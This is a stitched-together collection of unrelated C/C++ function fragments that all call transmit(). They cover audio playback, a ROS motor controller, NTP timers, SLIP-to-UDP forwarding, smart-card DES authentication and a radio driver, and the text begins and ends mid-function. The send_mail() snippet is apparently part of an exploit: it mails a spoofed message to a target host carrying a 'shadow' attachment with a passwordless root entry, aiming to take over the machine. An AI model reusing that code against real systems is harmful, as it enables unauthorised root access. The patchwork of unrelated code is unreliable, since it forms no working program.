transmit(client, &msg, cfBEu16(msg.msglen) );
}
//runs in ISR
void AudioPlaySdAac::update(void)
{
audio_block_t *block_left;
audio_block_t *block_right;
//paused or stopped ?
if (playing != codec_playing) return;
//chain decoder-interrupt.
//to give the user-sketch some cpu-time, only chain
//if the swi is not active currently.
//In addition, check before if there waits work for it.
int db = decoding_block;
if (!NVIC_IS_ACTIVE(IRQ_AUDIOCODEC))
if (decoded_length[db]==0)
NVIC_TRIGGER_INTERRUPT(IRQ_AUDIOCODEC);
//determine the block we're playing from
int playing_block = 1 - db;
if (decoded_length[playing_block] <= 0)
{
stop();
return;
}
// allocate the audio blocks to transmit
block_left = allocate();
if (block_left == NULL) return;
int pl = play_pos;
if (aacFrameInfo.nChans == 2) {
// if we're playing stereo, allocate another
// block for the right channel output
block_right = allocate();
if (block_right == NULL) {
release(block_left);
return;
}
memcpy_frominterleaved(block_left->data, block_right->data, buf[playing_block] + pl);
pl += AUDIO_BLOCK_SAMPLES * 2 ;
transmit(block_left, 0);
transmit(block_right, 1);
release(block_right);
decoded_length[playing_block] -= AUDIO_BLOCK_SAMPLES * 2;
} else
{
// if we're playing mono, no right-side block
// let's do a (hopefully good optimized) simple memcpy
memcpy(block_left->data, buf[playing_block] + pl, AUDIO_BLOCK_SAMPLES * sizeof(short));
pl += AUDIO_BLOCK_SAMPLES;
transmit(block_left, 0);
transmit(block_left, 1);
decoded_length[playing_block] -= AUDIO_BLOCK_SAMPLES;
}
samples_played += AUDIO_BLOCK_SAMPLES;
release(block_left);
//Switch to the next block if we have no data to play anymore:
if ((decoded_length[playing_block] == 0) )
{
decoding_block = playing_block;
play_pos = 0;
} else
play_pos = pl;
}
void hbl2350::initController(void)
{
ROS_INFO("Initializing...");
sleep(1);
transmit(2, "^ECHOF", 1 );
sleep(TIME_BETWEEN_COMMANDS); // Echo is disabled
transmit(1, "# C");
sleep(TIME_BETWEEN_COMMANDS); // Clear buffer
transmit(1, "?P");
sleep(TIME_BETWEEN_COMMANDS); // Request power readings
transmit(1, "?V");
sleep(TIME_BETWEEN_COMMANDS); // Request voltage readings
transmit(1, "?T");
sleep(TIME_BETWEEN_COMMANDS); // Request temperature readings
transmit(1, "?FS");
sleep(TIME_BETWEEN_COMMANDS); // Request status flag
transmit(1, "?FF");
sleep(TIME_BETWEEN_COMMANDS); // Request fault flag
transmit(1, "?CB");
sleep(TIME_BETWEEN_COMMANDS); // Request absolute hall count
// transmit(1, "?CBR"); sleep(TIME_BETWEEN_COMMANDS);
transmit(1, "# 10" );
sleep(TIME_BETWEEN_COMMANDS); // Repeat buffer every 10 ms
/* transmit(4, "^CPRI", 1, 0, 0 ); sleep(TIME_BETWEEN_COMMANDS); // Serial is first and only priority
transmit(2, "^RWD", 1000 ); sleep(TIME_BETWEEN_COMMANDS); // One second watchdog
transmit(3, "^BLFB", 1, 1 ); sleep(TIME_BETWEEN_COMMANDS); // Use hall sensors as motor feedback
transmit(3, "^BLFB", 2, 1 ); sleep(TIME_BETWEEN_COMMANDS); // Use hall sensors as motor feedback
transmit(3, "^BLSTD", 1, 2 ); sleep(TIME_BETWEEN_COMMANDS); // Stall detection 500ms@25%
transmit(3, "^BLSTD", 2, 2 ); sleep(TIME_BETWEEN_COMMANDS); // Stall detection 500ms@25%
transmit(3, "^BPOL", 1, 9 ); sleep(TIME_BETWEEN_COMMANDS); // M12980-1 motor has 9 pole-pairs
transmit(3, "^BPOL", 2, 9 ); sleep(TIME_BETWEEN_COMMANDS); // M12980-1 motor has 9 pole-pairs
transmit(2, "^OVL", 550 ); sleep(TIME_BETWEEN_COMMANDS); // Over voltage alerts if >55V
transmit(2, "^UVL", 480 ); sleep(TIME_BETWEEN_COMMANDS); // Under voltage alerts if <48.5V
transmit(2, "^PWMF", 200 ); sleep(TIME_BETWEEN_COMMANDS); // 20 kHz PWM
transmit(2, "^THLD", 1 ); sleep(TIME_BETWEEN_COMMANDS); // Medium sensitive short circuit detection
if(closed_loop_operation)
{
transmit(3, "^MMOD", 1, 1 ); sleep(TIME_BETWEEN_COMMANDS); // Both channels in closed-loop mode
transmit(3, "^MMOD", 2, 1 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^ICAP", 1, anti_windup_percent ); sleep(TIME_BETWEEN_COMMANDS); // Integral cap anti-windup
transmit(3, "^ICAP ", 2, anti_windup_percent ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^KP", 1, p_gain_ch1 ); sleep(TIME_BETWEEN_COMMANDS); // Proportional gain for closed-loop control
transmit(3, "^KP", 2, p_gain_ch2 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^KI", 1, i_gain_ch1 ); sleep(TIME_BETWEEN_COMMANDS); // Integral gain for closed-loop control
transmit(3, "^KI", 2, i_gain_ch2 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^KD", 1, d_gain_ch1 ); sleep(TIME_BETWEEN_COMMANDS); // Differential gain for closed-loop control
transmit(3, "^KD", 2, d_gain_ch2 ); sleep(TIME_BETWEEN_COMMANDS);
}
else
{
transmit(3, "^MMOD", 1, 0 ); sleep(TIME_BETWEEN_COMMANDS); // Both channels in open-loop mode
transmit(3, "^MMOD", 2, 0 ); sleep(TIME_BETWEEN_COMMANDS);
}
transmit(3, "^DFC", 1, 0 ); sleep(TIME_BETWEEN_COMMANDS); // Emergency causes motors to stop
transmit(3, "^DFC ", 2, 0 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^ALIM", 1, 400 ); sleep(TIME_BETWEEN_COMMANDS); // Maximum current is 40A for both channels
transmit(3, "^ALIM", 2, 400 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^CLERD", 1, 0 ); sleep(TIME_BETWEEN_COMMANDS); // Closed-loop error detection disabled
transmit(3, "^CLERD", 2, 0 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^MAC", 1, max_acceleration ); sleep(TIME_BETWEEN_COMMANDS); // Maximum allowed acceleration
transmit(3, "^MAC", 2, max_acceleration ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^MDEC", 1, max_deceleration ); sleep(TIME_BETWEEN_COMMANDS); // Maximum allowed deceleration
transmit(3, "^MDEC", 2, max_deceleration ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "!AC", 1, max_acceleration ); sleep(TIME_BETWEEN_COMMANDS); // Maximum allowed acceleration
transmit(3, "!AC", 2, max_acceleration ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "!DC", 1, max_deceleration ); sleep(TIME_BETWEEN_COMMANDS); // Maximum allowed deceleration
transmit(3, "!DC", 2, max_deceleration ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^MXPF", 1, 95 ); sleep(TIME_BETWEEN_COMMANDS); // 95% of battery voltage can be applied to motors forward
transmit(3, "^MXPF", 2, 95 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^MXPR", 1, 95 ); sleep(TIME_BETWEEN_COMMANDS); // 95% of battery voltage can be applied to motors reverse
transmit(3, "^MXPR", 2, 95 ); sleep(TIME_BETWEEN_COMMANDS);
transmit(3, "^MXRPM", 1, max_rpm ); sleep(TIME_BETWEEN_COMMANDS); // Set maximum rounds per minute
transmit(3, "^MXRPM", 2, max_rpm );
*/ sleep(2);
ROS_INFO("Initialization finished");
initialised = true;
controller_responding = false;
}
/*
* timer - dispatch anyone who needs to be
*/
void
timer(void)
{
register struct peer *peer, *next_peer;
#ifdef OPENSSL
char statstr[NTP_MAXSTRLEN]; /* statistics for filegen */
#endif /* OPENSSL */
u_int n;
current_time += (1<<EVENT_TIMEOUT);
/*
* Adjustment timeout first.
*/
if (adjust_timer <= current_time) {
adjust_timer += 1;
adj_host_clock();
kod_proto();
#ifdef REFCLOCK
for (n = 0; n < NTP_HASH_SIZE; n++) {
for (peer = peer_hash[n]; peer != 0; peer = next_peer) {
next_peer = peer->next;
if (peer->flags & FLAG_REFCLOCK)
refclock_timer(peer);
}
}
#endif /* REFCLOCK */
}
/*
* Now dispatch any peers whose event timer has expired. Be careful
* here, since the peer structure might go away as the result of
* the call.
*/
for (n = 0; n < NTP_HASH_SIZE; n++) {
for (peer = peer_hash[n]; peer != 0; peer = next_peer) {
next_peer = peer->next;
if (peer->action && peer->nextaction <= current_time)
peer->action(peer);
if (peer->nextdate <= current_time) {
#ifdef REFCLOCK
if (peer->flags & FLAG_REFCLOCK)
refclock_transmit(peer);
else
transmit(peer);
#else /* REFCLOCK */
transmit(peer);
#endif /* REFCLOCK */
}
}
}
/*
* Garbage collect expired keys.
*/
if (keys_timer <= current_time) {
keys_timer += MINUTE;
auth_agekeys();
}
/*
* Huff-n'-puff filter
*/
if (huffpuff_timer <= current_time) {
huffpuff_timer += HUFFPUFF;
huffpuff();
}
#ifdef OPENSSL
/*
* Garbage collect old keys and generate new private value
*/
if (revoke_timer <= current_time) {
revoke_timer += RANDPOLL(sys_revoke);
expire_all();
sprintf(statstr, "refresh ts %u", ntohl(hostval.tstamp));
record_crypto_stats(NULL, statstr);
#ifdef DEBUG
if (debug)
printf("timer: %s\n", statstr);
#endif
}
#endif /* OPENSSL */
/*
* interface update timer
*/
if (interface_interval && interface_timer <= current_time) {
timer_interfacetimeout(current_time + interface_interval);
DPRINTF(1, ("timer: interface update\n"));
interface_update(NULL, NULL);
}
/*
* Finally, periodically write stats.
*/
if (stats_timer <= current_time) {
if (stats_timer != 0)
write_stats();
stats_timer += stats_write_period;
}
}
void hbl2350::onTimer(const ros::TimerEvent& e)
{
/* Update state variables */
deadman_pressed = ((ros::Time::now() - last_deadman_received) < max_time_diff);
cmd_vel_publishing = ( (ros::Time::now() - last_twist_received_ch1) < max_time_diff) ||
((ros::Time::now() - last_twist_received_ch2) < max_time_diff);
controller_responding = ((ros::Time::now() - last_serial_msg) < max_time_diff);
std::stringstream ss;
if(online) /* is set when controller answers to FID request */
{
ss << "controller_online ";
if(initialised) /* is set when initController function completes */
{
ss << "controller_initialised ";
if(controller_responding) /* is set if the controller publishes serial messages */
{
ss << "controller_responding ";
if(cmd_vel_publishing) /* is set if someone publishes twist messages */
{
ss << "cmd_vel_publishing ";
if(deadman_pressed) /* is set if someone publishes true on deadman topic */
{
if(emergency_stop)
{
transmit(1,"!MG");
emergency_stop = false;
}
ss << "deadman_pressed ";
/* All is good - send speeds */
int out_ch1 = (velocity_ch1*velocity_max)/max_rpm,
out_ch2 = (velocity_ch2*velocity_max)/max_rpm;
if(out_ch1 < - velocity_max)
out_ch1 = -velocity_max;
else if(out_ch1 > velocity_max)
out_ch1 = velocity_max;
if(out_ch2 < - velocity_max)
out_ch2 = -velocity_max;
else if(out_ch2 > velocity_max)
out_ch2 = velocity_max;
transmit(3,"!G",1,out_ch1);
transmit(3,"!G",2,out_ch2);
}
else /* deadman not pressed */
{
// ROS_INFO("%s: Deadman button is not pressed",ros::this_node::getName().c_str());
/* Set speeds to 0 */
transmit(1,"!EX");
emergency_stop = true;
transmit(3,"!G",1,0);
transmit(3,"!G",2,0);
}
}
else /* Cmd_vel is not publishing */
{
// ROS_INFO("%s: Cmd_vel is not publishing",ros::this_node::getName().c_str());
/* Set speeds to 0 */
transmit(1,"!EX");
emergency_stop = true;
transmit(3,"!G",1,0);
transmit(3,"!G",2,0);
}
}
else /* controller is not responding */
{
ROS_INFO("%s: Controller is not responding",ros::this_node::getName().c_str());
transmit(1,"?FID");
}
}
else /* Controller is not initialised */
{
ROS_INFO("%s: Controller is not initialised",ros::this_node::getName().c_str());
initController();
}
}
else /* controller is not online */
{
ROS_INFO("%s: Controller is not yet online",ros::this_node::getName().c_str());
transmit(1,"?FID");
}
status_out.header.stamp = ros::Time::now();
status_out.data = ss.str();
status_publisher.publish(status_out);
}
void put(char *str) {
transmit(1, str, strlen(str), 0);
}
//! Direct interface to Buffer::secureWrite()
void secureWrite(size_t size, Protocol::FullId id, bool kill) {
buffer.secureWrite(size, id, kill);
transmit();
}
/* Open port and convert SLIP-encoded packets into UDP packets */
int sliptoudp(const char *infile, const char *host, char dump)
{
#define BUFFER_SIZE 0xffff
static char buffer[BUFFER_SIZE];
size_t bufferLength = 0;
int fd;
struct sockaddr_in serverAddr;
SOCKET s = SOCKET_ERROR;
fd = fileno(stdin);
if (infile != NULL && infile[0] != '\0' && !(infile[0] == '-' && infile[1] == '\0'))
{
#ifdef _WIN32
fd = open(infile, O_BINARY | O_RDONLY);
#else
fd = open(infile, O_RDONLY | O_NOCTTY | O_NDELAY);
#endif
if (fd < 0)
{
fprintf(stderr, "ERROR: Problem opening input: %s\n", infile);
return 2;
}
#ifdef _WIN32
#else
fcntl(fd, F_SETFL, 0); /* Clear all descriptor flags */
/* Set the port options */
{
struct termios options;
int rts = TIOCM_RTS, cts = TIOCM_CTS;
ioctl(fd, TIOCMBIC, &rts);
ioctl(fd, TIOCMBIC, &cts);
tcgetattr(fd, &options);
options.c_cflag = (options.c_cflag | CLOCAL | CREAD | CS8) & ~(PARENB | CSTOPB | CSIZE | CRTSCTS);
options.c_lflag &= ~(ICANON | ECHO | ISIG);
tcsetattr(fd, TCSANOW, &options);
}
#endif
}
#ifdef _WIN32
{
WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData);
}
#endif
/* Open UDP socket */
if (host != NULL)
{
s = opensocket(host, 1234, &serverAddr);
}
/* Read packets and transmit */
{
size_t len;
while ((len = slipread(fd, buffer, BUFFER_SIZE)) != 0)
{
// if (dump) { hexdump(buffer, len); }
if (s != SOCKET_ERROR)
{
size_t tlen = transmit(s, &serverAddr, buffer, len);
if (tlen != len) { fprintf(stderr, "WARNING: Problem transmitting: %d / %d\n", (unsigned int)tlen, (unsigned int)len); }
}
}
}
/* Close socket */
if (s != SOCKET_ERROR) { closesocket(s); }
/* Close file */
if (fd != fileno(stdin)) { close(fd); }
#ifdef _WIN32
WSACleanup();
#endif
return (s != SOCKET_ERROR) ? 0 : 1;
}
/*
* timer - event timer
*/
void
timer(void)
{
struct peer * p;
struct peer * next_peer;
l_fp now;
time_t tnow;
/*
* The basic timerevent is one second. This is used to adjust the
* system clock in time and frequency, implement the kiss-o'-death
* function and the association polling function.
*/
current_time++;
if (adjust_timer <= current_time) {
adjust_timer += 1;
adj_host_clock();
#ifdef REFCLOCK
for (p = peer_list; p != NULL; p = next_peer) {
next_peer = p->p_link;
if (FLAG_REFCLOCK & p->flags)
refclock_timer(p);
}
#endif /* REFCLOCK */
}
/*
* Now dispatch any peers whose event timer has expired. Be
* careful here, since the peer structure might go away as the
* result of the call.
*/
for (p = peer_list; p != NULL; p = next_peer) {
next_peer = p->p_link;
/*
* Restrain the non-burst packet rate not more
* than one packet every 16 seconds. This is
* usually tripped using iburst and minpoll of
* 128 s or less.
*/
if (p->throttle > 0)
p->throttle--;
if (p->nextdate <= current_time) {
#ifdef REFCLOCK
if (FLAG_REFCLOCK & p->flags)
refclock_transmit(p);
else
#endif /* REFCLOCK */
transmit(p);
}
}
/*
* Orphan mode is active when enabled and when no servers less
* than the orphan stratum are available. A server with no other
* synchronization source is an orphan. It shows offset zero and
* reference ID the loopback address.
*/
if (sys_orphan < STRATUM_UNSPEC && sys_peer == NULL &&
current_time > orphwait) {
if (sys_leap == LEAP_NOTINSYNC) {
set_sys_leap(LEAP_NOWARNING);
#ifdef AUTOKEY
if (crypto_flags)
crypto_update();
#endif /* AUTOKEY */
}
sys_stratum = (u_char)sys_orphan;
if (sys_stratum > 1)
sys_refid = htonl(LOOPBACKADR);
else
memcpy(&sys_refid, "LOOP", 4);
sys_offset = 0;
sys_rootdelay = 0;
sys_rootdisp = 0;
}
get_systime(&now);
time(&tnow);
/*
* Leapseconds. Get time and defer to worker if either something
* is imminent or every 8th second.
*/
if (leapsec > LSPROX_NOWARN || 0 == (current_time & 7))
check_leapsec(now.l_ui, &tnow,
(sys_leap == LEAP_NOTINSYNC));
if (sys_leap != LEAP_NOTINSYNC) {
if (leapsec >= LSPROX_ANNOUNCE && leapdif) {
if (leapdif > 0)
set_sys_leap(LEAP_ADDSECOND);
else
set_sys_leap(LEAP_DELSECOND);
} else {
set_sys_leap(LEAP_NOWARNING);
}
}
/*
* Update huff-n'-puff filter.
*/
if (huffpuff_timer <= current_time) {
huffpuff_timer += HUFFPUFF;
huffpuff();
}
#ifdef AUTOKEY
/*
* Garbage collect expired keys.
*/
if (keys_timer <= current_time) {
keys_timer += 1 << sys_automax;
auth_agekeys();
}
/*
* Generate new private value. This causes all associations
* to regenerate cookies.
*/
if (revoke_timer && revoke_timer <= current_time) {
revoke_timer += 1 << sys_revoke;
RAND_bytes((u_char *)&sys_private, 4);
}
#endif /* AUTOKEY */
/*
* Interface update timer
*/
if (interface_interval && interface_timer <= current_time) {
timer_interfacetimeout(current_time +
interface_interval);
DPRINTF(2, ("timer: interface update\n"));
interface_update(NULL, NULL);
}
if (worker_idle_timer && worker_idle_timer <= current_time)
worker_idle_timer_fired();
/*
* Finally, write hourly stats and do the hourly
* and daily leapfile checks.
*/
if (stats_timer <= current_time) {
stats_timer += SECSPERHR;
write_stats();
if (leapf_timer <= current_time) {
leapf_timer += SECSPERDAY;
check_leap_file(TRUE, now.l_ui, &tnow);
} else {
check_leap_file(FALSE, now.l_ui, &tnow);
}
}
}
void SAMAV1ISO7816Commands::authenticateHostDES(std::shared_ptr<DESFireKey> key, unsigned char keyno)
{
std::vector<unsigned char> data;
unsigned char authMode = 0x00;
size_t keylength = key->getLength();
data.push_back(keyno);
data.push_back(key->getKeyVersion());
std::vector<unsigned char> cmd_vector = { d_cla, 0xa4, authMode, 0x00, 0x02, 0x00 }, result;
cmd_vector.insert(cmd_vector.end() - 1, data.begin(), data.end());
result = transmit(cmd_vector);
if (result.size() >= 2 && (result[result.size() - 2] != 0x90 || result[result.size() - 1] != 0xaf))
THROW_EXCEPTION_WITH_LOG(LibLogicalAccessException, "authenticateHostDES P1 failed.");
std::vector<unsigned char> keyvec(key->getData(), key->getData() + keylength);
//get encRNB
std::vector<unsigned char> encRNB(result.begin(), result.end() - 2);
//dec RNB
std::vector<unsigned char> RndB;
openssl::DESSymmetricKey cipherkey = openssl::DESSymmetricKey::createFromData(keyvec);
openssl::DESInitializationVector iv = openssl::DESInitializationVector::createNull();
std::shared_ptr<openssl::OpenSSLSymmetricCipher> cipher(new openssl::DESCipher());
cipher->decipher(encRNB, RndB, cipherkey, iv, false);
//Create RNB'
std::vector<unsigned char> rndB1;
rndB1.insert(rndB1.end(), RndB.begin() + 1, RndB.begin() + RndB.size());
rndB1.push_back(RndB[0]);
EXCEPTION_ASSERT_WITH_LOG(RAND_status() == 1, LibLogicalAccessException, "Insufficient enthropy source");
//Create our RndA
std::vector<unsigned char> rndA(8);
if (RAND_bytes(&rndA[0], static_cast<int>(rndA.size())) != 1)
{
THROW_EXCEPTION_WITH_LOG(LibLogicalAccessException, "Cannot retrieve cryptographically strong bytes");
}
//create rndAB
std::vector<unsigned char> rndAB;
rndAB.clear();
rndAB.insert(rndAB.end(), rndA.begin(), rndA.end());
rndAB.insert(rndAB.end(), rndB1.begin(), rndB1.end());
//enc rndAB
std::vector<unsigned char> encRndAB;
cipher->cipher(rndAB, encRndAB, cipherkey, iv, false);
//send enc rndAB
cmd_vector = { d_cla, 0xa4, 0x00, 0x00, (unsigned char)(encRndAB.size()), 0x00 };
cmd_vector.insert(cmd_vector.end() - 1, encRndAB.begin(), encRndAB.end());
result = transmit(cmd_vector);
if (result.size() >= 2 && (result[result.size() - 2] != 0x90 || result[result.size() - 1] != 0x00))
THROW_EXCEPTION_WITH_LOG(LibLogicalAccessException, "authenticateHostDES P2 failed.");
std::vector<unsigned char> encRndA1(result.begin(), result.end() - 2);
std::vector<unsigned char> dencRndA1;
cipher->decipher(encRndA1, dencRndA1, cipherkey, iv, false);
//create rndA'
std::vector<unsigned char> rndA1;
rndA1.insert(rndA1.end(), rndA.begin() + 1, rndA.begin() + rndA.size());
rndA1.push_back(rndA[0]);
//Check if RNDA is our
if (!std::equal(dencRndA1.begin(), dencRndA1.end(), rndA1.begin()))
THROW_EXCEPTION_WITH_LOG(LibLogicalAccessException, "authenticateHostDES Final Check failed.");
d_crypto->d_sessionKey.clear();
d_crypto->d_sessionKey.insert(d_crypto->d_sessionKey.end(), rndA.begin(), rndA.begin() + 4);
d_crypto->d_sessionKey.insert(d_crypto->d_sessionKey.end(), RndB.begin(), RndB.begin() + 4);
d_crypto->d_sessionKey.insert(d_crypto->d_sessionKey.end(), rndA.begin(), rndA.begin() + 4);
d_crypto->d_sessionKey.insert(d_crypto->d_sessionKey.end(), RndB.begin(), RndB.begin() + 4);
}
irqreturn_t request_cmd_cb(int irq, void *dev_id, struct pt_regs *regs)
{
transmit(target_yaw, target_pitch, target_throttle);
return IRQ_HANDLED; //handler was correctly invoked and delt with
}
void puts( char *t )
{
size_t size;
transmit(STDOUT, t, strlen(t), &size);
}
void
ScrobSocket::resume()
{
transmit( "RESUME c=bof\n" );
}
void send_mail() {
struct hostent *he;
if ((he=gethostbyname(hostname)) == NULL) {
herror("gethostbyname");
exit(1);
}
in_addr.sin_family = AF_INET;
in_addr.sin_port = htons(25);
in_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(in_addr.sin_zero), 8);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(0);
}
if(connect(sockfd, (struct sockaddr *)&in_addr, sizeof(in_addr)) < 0){
perror("connect");
exit(0);
}
transmit ("EHLO www.microsoft.com");
transmit ("MAIL FROM: [email protected]");
transmit ("RCPT TO: %s@%s", username, hostname);
transmit ("DATA");
transmit ("From: <*****@*****.**>");
transmit ("X-Sender: root@killer");
transmit ("To: %s@%s", username, hostname);
transmit ("Subject: test");
transmit ("Message-ID: <kmail.9905122356390.190-200000@killer>");
transmit ("MIME-Version: 1.0");
transmit ("Content-Type: MULTIPART/MIXED; BOUNDARY=\"0-821493994-926553406=:190\"");
transmit (""); //blah :>
transmit (" This message is in MIME format. The first part should be readable text,");
transmit (" while the remaining parts are likely unreadable without MIME-aware tools.");
transmit (" Send mail to [email protected] for more info.");
transmit ("");
transmit ("--0-821493994-926553406=:190");
transmit ("Content-Type: TEXT/PLAIN; charset=US-ASCII");
transmit ("\n"); //three
transmit ("--0-821493994-926553406=:190");
transmit ("Content-Type: TEXT/PLAIN; charset=US-ASCII; name=shadow");
transmit ("Content-Transfer-Encoding: BASE64");
transmit ("Content-ID: <kmail.9905122356460.190@killer>");
transmit ("Content-Description:");
transmit ("Content-Disposition: attachment; filename=shadow");
transmit ("");
transmit ("cm9vdDo6MTA2OTU6MDo6Ojo6"); // this needs work.. I hate all.
transmit ("--0-821493994-926553406=:190--");
transmit (".");
transmit ("QUIT");
printf("sent the data.. find the process..\n");
find_processes();
}
/*---------------------------------------------------------------------------*/
static int
send(void *payload, unsigned short payload_len)
{
prepare(payload, payload_len);
return transmit(payload_len);
}
void AudioSynthClatter::update(void)
{
audio_block_t *out_block_p, *bell_block_p;
int16_t *p_wave, *p_bell, *end;
//bool a, b;
out_block_p = allocate();
if (!out_block_p)
{
return;
}
p_wave = (out_block_p->data);
end = p_wave + AUDIO_BLOCK_SAMPLES;
bell_block_p = allocate();
if(bell_block_p)
{
p_bell = bell_block_p->data;
}
while(p_wave < end)
{
count++;
for(uint32_t i = 0; i < 6; i++)
{
if(count == next_trip[i])
{
#if 1
//808
values[i] ^= 0x0800;
#else
// synbal
values[i] ^= 0x01;
#endif
next_trip[i] += half_waves[i];
}
}
#if 1
// additive from TR808
*p_wave = values[0] + values[1] + values[2] - values[3] - values[4] - values[5];
if(bell_block_p)
{
*p_bell++ = values[0] + values[1];
}
#else
// cascaded XOR from Cynbal...
// easy 3-bit xor: add the three values. LSB reflects the xor of the values.
a = (values[0] + values[1] + values[2]) & 0x01;
b = (values[3] + values[4] + values[5]) & 0x01;
*p_wave = ((a * 0x4000) + (b * 0x4000 )) - 0x4000;
#endif
p_wave++;
}
if(bell_block_p)
{
transmit(bell_block_p, 1);
release(bell_block_p);
}
transmit(out_block_p, 0);
release(out_block_p);
}
/* ---------------------- */
cnid_t cnid_dbd_rebuild_add(struct _cnid_db *cdb, const struct stat *st,
const cnid_t did, char *name, const size_t len,
cnid_t hint)
{
CNID_private *db;
struct cnid_dbd_rqst rqst;
struct cnid_dbd_rply rply;
cnid_t id;
if (!cdb || !(db = cdb->_private) || !st || !name || hint == CNID_INVALID) {
LOG(log_error, logtype_cnid, "cnid_rebuild_add: Parameter error");
errno = CNID_ERR_PARAM;
return CNID_INVALID;
}
if (len > MAXPATHLEN) {
LOG(log_error, logtype_cnid, "cnid_rebuild_add: Path name is too long");
errno = CNID_ERR_PATH;
return CNID_INVALID;
}
RQST_RESET(&rqst);
rqst.op = CNID_DBD_OP_REBUILD_ADD;
if (!(cdb->flags & CNID_FLAG_NODEV)) {
rqst.dev = st->st_dev;
}
rqst.ino = st->st_ino;
rqst.type = S_ISDIR(st->st_mode)?1:0;
rqst.did = did;
rqst.name = name;
rqst.namelen = len;
rqst.cnid = hint;
LOG(log_debug, logtype_cnid, "cnid_dbd_rebuild_add: CNID: %u, name: '%s', inode: 0x%llx, type: %d (0=file, 1=dir), hint: %u",
ntohl(did), name, (long long)st->st_ino, rqst.type, hint);
if (transmit(db, &rqst, &rply) < 0) {
errno = CNID_ERR_DB;
return CNID_INVALID;
}
switch(rply.result) {
case CNID_DBD_RES_OK:
id = rply.cnid;
LOG(log_debug, logtype_cnid, "cnid_dbd_rebuild_add: got CNID: %u", ntohl(id));
break;
case CNID_DBD_RES_ERR_MAX:
errno = CNID_ERR_MAX;
id = CNID_INVALID;
break;
case CNID_DBD_RES_ERR_DB:
case CNID_DBD_RES_ERR_DUPLCNID:
errno = CNID_ERR_DB;
id = CNID_INVALID;
break;
default:
abort();
}
return id;
}
void WarpRadio_v1_Reset(unsigned int* baseaddress) {
baseaddr = baseaddress;
RADIO_CONTROLLER_mWriteSlaveReg5((volatile)baseaddr, 0x3410); // Set the value of the Control Register to 0x00003410 for DACs
RADIO_CONTROLLER_mWriteSlaveReg6((volatile)baseaddr, clkRatio); // Set the value for the Divider Register to 0x00000001
RADIO_CONTROLLER_mWriteSlaveReg7((volatile)baseaddr, (SLAVEMASKDAC & (RADIO1_ADDR | RADIO2_ADDR | RADIO3_ADDR | RADIO4_ADDR))); // Select all DACs
RADIO_CONTROLLER_mWriteSlaveReg1((volatile)baseaddr, RAD_TX_DAC_RESET_MASK); // Turn on DacReset
RADIO_CONTROLLER_mWriteSlaveReg1((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg1((volatile)baseaddr) & ~(RAD_TX_DAC_RESET_MASK))); // Turn off DacReset
transmitdac(0x0004); // Transmit a value of 0x04 for Register 0 for DAC to use only 1 refernce register
RADIO_CONTROLLER_mWriteSlaveReg5((volatile)baseaddr, 0x3412); // Set the value of the Control Register to 0x00003412 for Radio
RADIO_CONTROLLER_mWriteSlaveReg6((volatile)baseaddr, clkRatio-1); // Set the value for the Divider Register to 0x00000000
RADIO_CONTROLLER_mWriteSlaveReg7((volatile)baseaddr, (SLAVEMASK & (RADIO1_ADDR | RADIO2_ADDR | RADIO3_ADDR | RADIO4_ADDR))); // Select the radios that will be affected by this function call in store in Slave Select
// Go through reset procedure
RADIO_CONTROLLER_mWriteSlaveReg0((volatile)baseaddr, ~(RAD_SHDN_MASK | RAD_SHDN_CON_MASK | RAD_TXEN_MASK | RAD_TXEN_CON_MASK | RAD_RXEN_MASK | RAD_RXEN_CON_MASK | RAD_RXHP_MASK | RAD_RXHP_CON_MASK));
RADIO_CONTROLLER_mWriteSlaveReg0((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg0((volatile)baseaddr) | RAD_SHDN_MASK)); // Asset Shutdown
RADIO_CONTROLLER_mWriteSlaveReg0((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg0((volatile)baseaddr) | (RAD_TXEN_MASK | RAD_RXEN_MASK))); // Enable Rx and Tx
RADIO_CONTROLLER_mWriteSlaveReg0((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg0((volatile)baseaddr) & ~(RAD_TXEN_MASK | RAD_RXEN_MASK))); // Disable Rx and Tx
RADIO_CONTROLLER_mWriteSlaveReg0((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg0((volatile)baseaddr) & ~RAD_SHDN_MASK)); // De-asset Shutdown
// Start initialization
RADIO_CONTROLLER_mWriteSlaveReg0((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg0((volatile)baseaddr) | RAD_RXHP_CON_MASK)); // Set RxHP control to HW
RADIO_CONTROLLER_mWriteSlaveReg1((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg1((volatile)baseaddr) | RAD_24PA_MASK)); // Antsw[1] to 1 and enable 2.4GHz amplifier
RADIO_CONTROLLER_mWriteSlaveReg1((volatile)baseaddr, (RADIO_CONTROLLER_mReadSlaveReg1((volatile)baseaddr) & ~RAD_ADC_RX_DCS_MASK)); // DCS to 0
RADIO_CONTROLLER_mWriteSlaveReg2((volatile)baseaddr, 0x00000000 & ~(RAD_ADC_RX_PWDNA_MASK | RAD_ADC_RX_PWDNB_MASK | RAD_RSSI_ADC_SLEEP_MASK)); // Enable all ADCs
transmit(0x0C218); // Set value of 0x0C21 to register 8 in the radio
REG_RAD1_RX_CONTROL = (short)0x0C21; // Update local copies of the registers in the radio
REG_RAD2_RX_CONTROL = (short)0x0C21;
REG_RAD3_RX_CONTROL = (short)0x0C21;
REG_RAD4_RX_CONTROL = (short)0x0C21;
// Setup for 20MHz clock
transmit(0x18225);
REG_RAD1_BAND_SELECT = (short)0x1822;
REG_RAD2_BAND_SELECT = (short)0x1822;
